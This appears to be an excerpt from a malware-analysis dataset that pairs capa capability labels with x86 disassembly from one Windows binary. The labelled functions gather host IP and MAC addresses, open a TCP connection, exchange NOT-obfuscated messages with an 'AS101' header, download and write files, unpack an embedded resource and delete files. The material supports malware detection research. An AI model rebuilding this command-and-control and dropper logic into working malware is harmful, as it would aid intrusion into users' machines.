joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403930
Capabilities:
Get local ipv4 addresses
Get mac address on windows

Disassembly:
push ecx
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push edi
xor ebx, ebx
mov dword [esp + 0x10], 0x3a98
mov eax, dword [esp + 0x10]
push eax
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x4039a9
lea ecx, [esp + 0x10]
push ecx
push esi
push 0
push 0x10
push 2
call sub.IPHLPAPI.DLL_GetAdaptersAddresses
mov edi, eax
cmp edi, 0x6f
jne 0x403981
push esi
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor esi, esi
inc ebx
cmp edi, 0x6f
jne 0x4039b2
cmp ebx, 3
jb 0x403945
mov edi, 0xfffffffd
test esi, esi
je 0x4039a1
push esi
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
pop ecx
ret
test edi, edi
jne 0x40398c
mov eax, esi
test esi, esi
je 0x403a1e
mov ecx, 6
cmp dword [eax + 0x34], ecx
jne 0x4039cc
cmp dword [eax + 0x1c], 0
jne 0x4039d7
mov eax, dword [eax + 8]
test eax, eax
jne 0x4039c1
xor edi, edi
jmp 0x403991
mov edx, dword [eax + 0x2c]
mov ecx, dword [esp + 0x18]
mov dword [ecx], edx
mov dx, word [eax + 0x30]
mov word [ecx + 4], dx
mov ecx, dword [eax + 0x10]
mov edx, dword [ecx + 0xc]
movzx edx, byte [edx + 4]
mov ecx, dword [esp + 0x1c]
mov byte [ecx + 3], dl
mov edx, dword [eax + 0x10]
mov edx, dword [edx + 0xc]
movzx edx, byte [edx + 5]
mov byte [ecx + 2], dl
mov edx, dword [eax + 0x10]
mov edx, dword [edx + 0xc]
movzx edx, byte [edx + 6]
mov byte [ecx + 1], dl
mov eax, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
mov al, byte [edx + 7]
mov byte [ecx], al
xor edi, edi
jmp 0x403991

Function at 0x403d80
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub esp, 0x414
mov eax, dword [0x42204c]
xor eax, esp
mov dword [esp + 0x410], eax
push ebp
push ebx
push edi
call fcn.00403eb0
mov ebp, eax
add esp, 8
test ebp, ebp
jne 0x403e94
push esi
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov word [esp + 0x14], ax
call fcn.0040c120
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x226]
push eax
mov word [esp + 0x228], dx
call fcn.0040c120
lea esi, [esp + 0x20]
call fcn.00403c70
push 0x41faec
mov ecx, esi
push 0x104
push ecx
call fcn.00409005
add esp, 0x24
mov esi, 0x4241b8
nop
cmp word [esi], 0
je 0x403e33
lea edx, [esp + 8]
push edx
lea eax, [esp + 0x214]
push 0x104
push eax
call fcn.0040972f
push esi
lea ecx, [esp + 0x220]
push 0x104
push ecx
call fcn.00409005
add esp, 0x18
add esi, 0x118
cmp esi, 0x424730
jl 0x403e00
mov esi, 0x4241b8
cmp word [esi], 0
je 0x403e57
push ebx
push edi
push esi
call fcn.00404700
add esp, 0xc
add esi, 0x118
cmp esi, 0x424730
jl 0x403e46
push 0x424db0
lea edx, [esp + 0xc]
push 0x104
push edx
call fcn.00409005
add esp, 0xc
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
pop esi
cmp eax, 0xffffffff
jne 0x403e92
mov ebp, 2
mov eax, ebp
mov ecx, dword [esp + 0x414]
pop ebp
xor ecx, esp
call fcn.00408ff6
add esp, 0x414
ret
Function at 0x4040b0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x9ac
mov eax, dword [0x42204c]
xor eax, esp
mov dword [esp + 0x9a8], eax
mov eax, dword [ebp + 0xc]
push ebx
xor ebx, ebx
lea ecx, [esp + 0x1a8]
cmp eax, ebx
je 0x4040dd
mov ecx, eax
xor eax, eax
mov word [ecx], ax
lea ecx, [esp + 0x18]
push ecx
push 0x101
mov dword [esp + 0xc], ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x40410f
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x9a8]
xor ecx, esp
call fcn.00408ff6
mov esp, ebp
pop ebp
ret
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi], eax
cmp eax, 0xffffffff
je 0x4040fa
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x40414b
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
push 4
lea edx, [esp + 0xc]
push edx
mov dword [esp + 0x10], eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
je 0x40419d
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov ecx, dword [ebp + 8]
mov eax, 2
push ecx
mov dword [esp + 0x10], edx
mov word [esp + 0xc], ax
call dword [sym.imp.WS2_32.dll_htons]
push 0x10
lea edx, [esp + 0xc]
mov word [esp + 0xe], ax
mov eax, dword [esi]
push edx
push eax
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x40419d
mov ebx, 1
mov eax, ebx
pop ebx
mov ecx, dword [esp + 0x9a8]
xor ecx, esp
call fcn.00408ff6
mov esp, ebp
pop ebp
ret
mov eax, dword [esi]
test eax, eax
je 0x4041ac
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi], ebx
mov ecx, dword [esp + 0x9ac]
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.00408ff6
mov esp, ebp
pop ebp
ret

Function at 0x404310
Capabilities:
Send data
Send data on socket

Disassembly:
push ecx
mov ecx, dword [esp + 8]
push ebx
xor eax, eax
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov dword [esp + 0xc], eax
cmp dword [ecx], eax
je 0x404392
cmp edi, eax
jle 0x40433d
lea ebx, [ebx]
mov dl, byte [eax + ebp]
not dl
mov byte [eax + ebp], dl
inc eax
cmp eax, edi
jl 0x404330
lea ebx, [edi + 7]
push ebx
call fcn.0040a057
mov esi, eax
lea eax, [edi + 5]
mov word [esi], ax
mov ecx, dword [str.AS101]
push edi
mov dword [esi + 2], ecx
mov dl, byte [0x423078]
lea eax, [esi + 7]
push ebp
push eax
mov byte [esi + 6], dl
call fcn.0040ce40
mov ecx, dword [esp + 0x24]
mov edx, dword [ecx]
add esp, 0x10
push 0
push ebx
push esi
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x404396
cmp eax, ebx
jne 0x404396
mov dword [esp + 0xc], 1
jmp 0x404396
mov esi, dword [esp + 0x14]
test esi, esi
je 0x4043a3
push esi
call fcn.004097ff
add esp, 4
mov eax, dword [esp + 0xc]
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x404570
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x8d8
mov eax, dword [0x42204c]
xor eax, esp
mov dword [esp + 0x8d4], eax
mov eax, dword [esp + 0x8e0]
push ebp
mov ebp, dword [esp + 0x8e0]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x8e8]
push esi
push edi
mov dword [esp + 0x10], edx
lea ecx, [esp + 0xe0]
test eax, eax
je 0x4045b1
mov ecx, eax
xor eax, eax
mov word [ecx], ax
mov esi, dword [ebp]
xor edi, edi
mov dword [esp + 0xc], edi
test esi, esi
je 0x4046cd
test edx, edx
je 0x4046cd
push 0xc7
lea ecx, [esp + 0x1d]
push edi
push ecx
mov byte [esp + 0x24], al
call fcn.0040c120
add esp, 0xc
push edi
push 2
lea edx, [esp + 0x20]
push edx
push esi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x4046e5
test eax, eax
je 0x4046e5
movzx edi, word [esp + 0x18]
lea eax, [edi + 2]
push ebx
push eax
xor esi, esi
call fcn.0040a057
add esp, 4
mov ebx, eax
test edi, edi
jle 0x4046bb
mov eax, dword [ebp]
push 0
mov ecx, edi
sub ecx, esi
push ecx
lea edx, [esi + ebx]
push edx
push eax
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x404699
test eax, eax
je 0x404699
add esi, eax
cmp edi, esi
jg 0x404624
cmp esi, 5
jl 0x4046bb
mov ecx, dword [str.AS101]
sub esi, 5
cmp ecx, dword [ebx]
jne 0x4046bb
mov dl, byte [ebx + 4]
cmp dl, byte [0x423078]
jne 0x4046bb
test esi, esi
jle 0x40467c
lea eax, [ebx + 5]
mov edi, esi
mov edi, edi
mov cl, byte [eax]
not cl
mov byte [eax], cl
inc eax
sub edi, 1
jne 0x404670
mov edi, dword [esp + 0x18]
mov eax, dword [edi]
cmp eax, esi
jl 0x4046a1
mov eax, dword [esp + 0x14]
push esi
lea edx, [ebx + 5]
push edx
push eax
call fcn.0040ce40
mov dword [edi], esi
jmp 0x4046b0
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x4046bb
mov edx, dword [esp + 0x14]
push eax
lea ecx, [ebx + 5]
push ecx
push edx
call fcn.0040ce40
add esp, 0xc
mov dword [esp + 0x10], 1
test ebx, ebx
je 0x4046c8
push ebx
call fcn.004097ff
add esp, 4
mov eax, dword [esp + 0x10]
pop ebx
pop edi
pop esi
pop ebp
mov ecx, dword [esp + 0x8d4]
xor ecx, esp
call fcn.00408ff6
add esp, 0x8d8
ret
mov ecx, dword [esp + 0x8e0]
mov eax, edi
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.00408ff6
add esp, 0x8d8
ret
Function at 0x404980
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
mov eax, 0x100c
call fcn.00413a90
mov eax, dword [0x42204c]
xor eax, esp
mov dword [esp + 0x1008], eax
mov edx, dword [edi]
mov eax, dword [esp + 0x1010]
push ebx
push ebp
mov ebp, dword [sym.imp.WS2_32.dll_recv]
xor ebx, ebx
push ebx
push 4
lea ecx, [esp + 0x10]
push ecx
push edx
mov dword [esp + 0x1c], eax
call ebp
cmp eax, 4
je 0x4049d8
pop ebp
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x1008]
xor ecx, esp
call fcn.00408ff6
add esp, 0x100c
ret
cmp dword [esp + 8], ebx
jbe 0x404a17
push esi
nop
mov ecx, dword [edi]
push 0
push 0x1000
lea eax, [esp + 0x1c]
push eax
push ecx
call ebp
mov esi, eax
test esi, esi
je 0x404a16
mov edx, dword [esp + 0x10]
mov eax, dword [edx]
push eax
push esi
lea ecx, [esp + 0x1c]
push 1
push ecx
call fcn.004096ad
add ebx, esi
add esp, 0x10
cmp ebx, dword [esp + 0xc]
jb 0x4049e0
pop esi
mov edx, dword [esp + 0xc]
mov eax, dword [edx]
push eax
call fcn.004094cf
mov ecx, dword [esp + 0x1014]
add esp, 4
cmp ebx, dword [esp + 8]
pop ebp
sbb eax, eax
pop ebx
xor ecx, esp
inc eax
call fcn.00408ff6
add esp, 0x100c
ret

Function at 0x404a50
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.IDR_BINARY
mov edi, eax
push 0x81
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ebx, eax
test ebx, ebx
je 0x404ac3
push ebp
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push ebx
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebp, eax
mov eax, dword [esp + 0x14]
push esi
mov dword [eax], esi
call fcn.0040a057
push esi
mov edi, eax
push 0
push edi
call fcn.0040c120
push esi
push ebp
push edi
call fcn.0040ce40
add esp, 0x1c
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop ebp
mov eax, edi
pop edi
pop esi
pop ebx
ret
pop edi
mov eax, esi
pop esi
pop ebx
ret
Function at 0x404ad0
Capabilities:
Check if file exists
Get file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push edi
mov ebx, eax
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x404b04
mov eax, edi
call fcn.00404bf0
cmp eax, ebx
jne 0x404b04
lea eax, [esi + 1]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x200000
call fcn.0040a459
mov edi, eax
mov eax, dword [ebp + 0xc]
add esp, 4
push edi
push eax
lea edx, [esp + 0x18]
mov ecx, ebx
mov dword [esp + 0x18], 0x200000
call fcn.00404c50
add esp, 8
test eax, eax
je 0x404bdc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.0040a0bc
add esp, 4
call fcn.0040a0ce
mov dword [esp + 0x14], eax
fild dword [esp + 0x14]
fmul qword [0x41feb0]
fmul qword [0x41fea8]
fadd qword [0x41fea0]
call fcn.00416ec0
mov ecx, dword [esp + 0x10]
lea ebx, [ecx + edi]
mov esi, eax
call fcn.00403360
mov edx, dword [esp + 0x10]
lea ebx, [esi + edx]
mov esi, dword [ebp + 8]
mov dword [esp + 0x10], 0
call fcn.00404dd0
mov esi, eax
cmp esi, 0xffffffff
je 0x404bda
push 0
lea eax, [esp + 0x18]
push eax
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
neg eax
sbb eax, eax
and eax, dword [esp + 0x14]
cmp eax, ebx
mov ebx, 1
je 0x404bba
mov ebx, dword [esp + 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, 1
jne 0x404bda
push edi
mov esi, ebx
call fcn.0040a9cc
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
xor esi, esi
push edi
call fcn.0040a9cc
add esp, 4
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x404bf0
Capabilities:
Get file size

Disassembly:
sub esp, 0x10
push ebx
push esi
push edi
push 0
push 0
push 3
push 0
push 3
push connect
or edi, 0xffffffff
push eax
or ebx, edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, edi
jne 0x404c22
or eax, edi
or edx, edi
pop edi
pop esi
pop ebx
add esp, 0x10
ret
lea ecx, [esp + 0x10]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
cmp eax, 1
jne 0x404c3b
mov edi, dword [esp + 0x10]
mov ebx, dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
mov edx, ebx
pop ebx
add esp, 0x10
ret

Function at 0x404dd0
Capabilities:
Check if file exists
Delete file
Get file attributes
Set file attributes

Disassembly:
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push esi
call edi
cmp eax, 0xffffffff
je 0x404e23
push esi
call edi
cmp eax, 0xffffffff
je 0x404e1e
test al, 1
je 0x404dee
xor eax, 1
test al, 4
je 0x404df5
xor eax, 4
test al, 2
je 0x404dfc
xor eax, 2
test al, 0x20
je 0x404e03
xor eax, 0x20
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
test edi, edi
jne 0x404e23
or eax, 0xffffffff
pop edi
ret
push 0
push 0
push 2
push 0
push 1
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
pop edi
ret
Function at 0x406c10
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
test ecx, ecx
jne 0x406c17
xor eax, eax
ret
push esi
not eax
cmp edx, 8
jb 0x406cf4
mov esi, edx
shr esi, 3
push edi
lea esp, [esp]
movzx edi, byte [ecx]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x41f080]
movzx edi, byte [ecx + 1]
xor edi, eax
and edi, 0xff
inc ecx
shr eax, 8
xor eax, dword [edi*4 + 0x41f080]
movzx edi, byte [ecx + 1]
xor edi, eax
and edi, 0xff
inc ecx
shr eax, 8
xor eax, dword [edi*4 + 0x41f080]
movzx edi, byte [ecx + 1]
xor edi, eax
inc ecx
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x41f080]
movzx edi, byte [ecx + 1]
xor edi, eax
inc ecx
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x41f080]
movzx edi, byte [ecx + 1]
xor edi, eax
inc ecx
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x41f080]
movzx edi, byte [ecx + 1]
inc ecx
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x41f080]
movzx edi, byte [ecx + 1]
inc ecx
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x41f080]
inc ecx
sub edx, 8
sub esi, 1
jne 0x406c30
pop edi
test edx, edx
je 0x406d1b
jmp 0x406d00
movzx esi, byte [ecx]
xor esi, eax
and esi, 0xff
shr eax, 8
xor eax, dword [esi*4 + 0x41f080]
inc ecx
sub edx, 1
jne 0x406d00
not eax
pop esi
ret

Function at 0x406d20
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov eax, dword [edx]
movsx ecx, cl
xor ecx, eax
shr eax, 8
and ecx, 0xff
mov ecx, dword [ecx*4 + 0x41f080]
xor ecx, eax
movzx eax, cl
add eax, dword [edx + 4]
mov dword [edx], ecx
mov ecx, dword [edx + 8]
imul eax, eax, 0x8088405
inc eax
mov dword [edx + 4], eax
shr eax, 0x18
xor eax, ecx
and eax, 0xff
shr ecx, 8
xor ecx, dword [eax*4 + 0x41f080]
mov dword [edx + 8], ecx
ret

Function at 0x406d70
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov ecx, dword [esi + 8]
push ebx
mov edx, ecx
and edx, 0xfffd
or edx, 2
mov ebx, edx
xor ebx, 1
imul ebx, edx
mov edx, dword [esi]
shr ebx, 8
push edi
xor al, bl
movsx edi, al
xor edi, edx
shr edx, 8
and edi, 0xff
mov ebx, dword [edi*4 + 0x41f080]
xor ebx, edx
movzx edx, bl
add edx, dword [esi + 4]
mov dword [esi], ebx
imul edx, edx, 0x8088405
inc edx
mov dword [esi + 4], edx
shr edx, 0x18
xor edx, ecx
and edx, 0xff
shr ecx, 8
xor ecx, dword [edx*4 + 0x41f080]
pop edi
mov dword [esi + 8], ecx
pop ebx
ret

Function at 0x407480
Capabilities:
Read file on windows

Disassembly:
push esi
mov esi, ebx
imul esi, dword [esp + 8]
cmp byte [edi], 0
je 0x4074b2
mov ecx, dword [edi + 4]
push 0
lea eax, [esp + 0xc]
push eax
push esi
push edx
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4074a8
mov byte [edi + 8], 1
mov eax, dword [esp + 8]
xor edx, edx
div ebx
pop esi
ret
mov ecx, dword [edi + 0x1c]
mov eax, dword [edi + 0x18]
push ebp
lea ebp, [ecx + esi]
cmp ebp, eax
pop ebp
jbe 0x4074c5
sub eax, ecx
mov esi, eax
mov eax, dword [edi + 0x14]
push esi
add eax, ecx
push eax
push edx
call fcn.0040ce40
add dword [edi + 0x1c], esi
mov eax, esi
add esp, 0xc
xor edx, edx
div ebx
pop esi
ret
Function at 0x4074e0
Capabilities:
Read file on windows

Disassembly:
sub esp, 8
cmp byte [esi], 0
push edi
mov edi, 1
je 0x407513
mov edx, dword [esi + 4]
push 0
lea eax, [esp + 0xc]
push eax
push edi
lea ecx, [esp + 0x13]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x40750d
mov byte [esi + 8], 1
mov edi, dword [esp + 8]
jmp 0x40753f
mov eax, dword [esi + 0x18]
push ebx
mov ebx, dword [esi + 0x1c]
lea ecx, [ebx + 1]
cmp ecx, eax
jbe 0x407525
sub eax, ebx
mov edi, eax
mov edx, dword [esi + 0x14]
push edi
add edx, ebx
push edx
lea eax, [esp + 0x13]
push eax
call fcn.0040ce40
add esp, 0xc
add ebx, edi
mov dword [esi + 0x1c], ebx
pop ebx
cmp edi, 1
pop edi
jne 0x407556
movzx ecx, byte [esp + 3]
mov edx, dword [esp + 0xc]
mov dword [edx], ecx
xor eax, eax
add esp, 8
ret
cmp byte [esi], 0
je 0x407550
cmp byte [esi + 8], 0
je 0x407550
or eax, 0xffffffff
add esp, 8
ret
Function at 0x4075f0
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x18
cmp byte [esi], 0
je 0x407635
cmp byte [esi + 1], 0
je 0x40763d
mov eax, dword [esi + 4]
push 2
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp byte [esi], 0
push ebp
je 0x407652
cmp byte [esi + 1], 0
je 0x407644
mov edx, dword [esi + 4]
push 1
push 0
push 0
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ebp, eax
sub ebp, dword [esi + 0xc]
mov dword [esp + 4], ebp
jmp 0x40765b
mov ecx, dword [esi + 0x18]
mov dword [esi + 0x1c], ecx
jmp 0x40760e
or eax, 0xffffffff
add esp, 0x18
ret
mov dword [esp + 4], 0
mov ebp, dword [esp + 4]
jmp 0x40765b
mov eax, dword [esi + 0x1c]
mov dword [esp + 4], eax
mov ebp, eax
push edi
mov edi, 0xffff
mov dword [esp + 0xc], edi
cmp ebp, edi
jae 0x40766f
mov dword [esp + 0xc], ebp
mov edi, ebp
push ebx
push 0x404
call fcn.0040a459
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x40768d
pop ebx
pop edi
or eax, 0xffffffff
pop ebp
add esp, 0x18
ret
mov eax, 4
mov dword [esp + 0x18], 0xffffffff
cmp edi, eax
jbe 0x4077a1
jmp 0x4076b0
mov edi, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov ebp, dword [esp + 0xc]
add eax, 0x400
mov dword [esp + 0x14], edi
cmp eax, edi
ja 0x4076c1
mov dword [esp + 0x14], eax
mov eax, ebp
sub eax, dword [esp + 0x14]
sub ebp, eax
mov dword [esp + 0x20], eax
cmp ebp, 0x404
jbe 0x4076da
mov ebp, 0x404
cmp byte [esi], 0
je 0x4076ff
cmp byte [esi + 1], 0
je 0x4077a1
mov ecx, dword [esi + 0xc]
mov edx, dword [esi + 4]
push 0
push 0
add ecx, eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
jmp 0x407702
mov dword [esi + 0x1c], eax
cmp byte [esi], 0
mov edi, ebp
je 0x40772a
mov ecx, dword [esi + 4]
push 0
lea eax, [esp + 0x20]
push eax
push ebp
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x407724
mov byte [esi + 8], 1
mov eax, dword [esp + 0x1c]
jmp 0x407750
mov eax, dword [esi + 0x1c]
mov ecx, dword [esi + 0x18]
lea edx, [eax + ebp]
cmp edx, ecx
jbe 0x40773b
sub ecx, eax
mov edi, ecx
mov ecx, dword [esi + 0x14]
push edi
add ecx, eax
push ecx
push ebx
call fcn.0040ce40
add esp, 0xc
add dword [esi + 0x1c], edi
mov eax, edi
xor edx, edx
div ebp
cmp eax, 1
jne 0x4077a1
lea eax, [ebp - 3]
test eax, eax
jl 0x40778c
dec eax
cmp byte [eax + ebx], 0x50
jne 0x40777c
cmp byte [eax + ebx + 1], 0x4b
jne 0x40777c
cmp byte [eax + ebx + 2], 5
jne 0x40777c
cmp byte [eax + ebx + 3], 6
je 0x407782
test eax, eax
jge 0x407760
jmp 0x40778c
mov edx, dword [esp + 0x20]
add eax, edx
mov dword [esp + 0x18], eax
cmp dword [esp + 0x18], 0
jne 0x4077a1
mov eax, dword [esp + 0x10]
cmp dword [esp + 0x14], eax
jb 0x4076a4
push ebx
call fcn.0040a9cc
mov eax, dword [esp + 0x1c]
add esp, 4
pop ebx
pop edi
pop ebp
add esp, 0x18
ret
Function at 0x408170
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0xc
push ebx
push ebp
mov ebp, dword [esp + 0x18]
push edi
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jne 0x40818e
pop edi
pop ebp
mov eax, 0xffffff9a
pop ebx
add esp, 0xc
ret
cmp dword [edi + 0x18], ebx
je 0x408182
cmp dword [edi + 0x7c], ebx
je 0x40819d
call fcn.00408560
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x1c]
push edx
call fcn.00407ee0
add esp, 0xc
test eax, eax
je 0x4081c4
pop edi
pop ebp
mov eax, 0xffffff99
pop ebx
add esp, 0xc
ret
push esi
push 0x84
call fcn.0040a459
mov esi, eax
add esp, 4
cmp esi, ebx
je 0x408205
push 0x4000
call fcn.0040a459
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
add esp, 4
mov dword [esi], eax
mov dword [esi + 0x44], ecx
mov dword [esi + 0x48], edx
mov dword [esi + 0x4c], ebx
cmp eax, ebx
jne 0x408212
push esi
call fcn.0040a9cc
add esp, 4
pop esi
pop edi
pop ebp
mov eax, 0xffffff98
pop ebx
add esp, 0xc
ret
mov dword [esi + 0x40], ebx
mov ecx, dword [edi + 0x3c]
xor eax, eax
cmp dword [edi + 0x34], ebx
mov dword [esi + 0x54], ecx
mov dword [esi + 0x50], ebx
mov edx, dword [edi + 0x34]
sete al
mov dword [esi + 0x64], edx
mov ecx, dword [edi]
mov dword [esi + 0x60], ecx
mov edx, dword [edi + 0xc]
mov dword [esi + 0x68], edx
mov dword [esi + 0x18], ebx
cmp eax, ebx
jne 0x40825a
lea eax, [esi + 4]
mov dword [esi + 0x24], ebx
mov dword [esi + 0x28], ebx
mov dword [esi + 0x2c], ebx
call fcn.00407030
test eax, eax
jne 0x40825a
mov dword [esi + 0x40], 1
mov eax, dword [edi + 0x40]
mov dword [esi + 0x58], eax
mov ecx, dword [edi + 0x44]
mov dword [esi + 0x5c], ecx
mov dl, byte [edi + 0x30]
and dl, 1
mov byte [esi + 0x6c], dl
mov eax, dword [edi + 0x30]
shr eax, 3
test al, 1
je 0x408284
mov cl, byte [edi + 0x39]
mov byte [esi + 0x80], cl
jmp 0x40828d
mov dl, byte [edi + 0x3f]
mov byte [esi + 0x80], dl
movzx eax, byte [esi + 0x6c]
neg eax
sbb eax, eax
and eax, 0xc
lea edx, [esi + 0x70]
mov dword [esi + 0x7c], eax
mov dword [edx], 0x12345678
mov dword [esi + 0x74], 0x23456789
mov dword [esi + 0x78], 0x34567890
cmp ebp, ebx
je 0x4082c7
mov cl, byte [ebp]
cmp cl, bl
je 0x4082c7
call fcn.00406d20
add ebp, 1
jne 0x4082b6
mov ecx, dword [edi + 0x78]
mov edx, dword [esp + 0x18]
lea eax, [ecx + edx + 0x1e]
mov dword [esi + 0x3c], eax
mov dword [esi + 8], ebx
mov dword [edi + 0x7c], esi
pop esi
pop edi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc
ret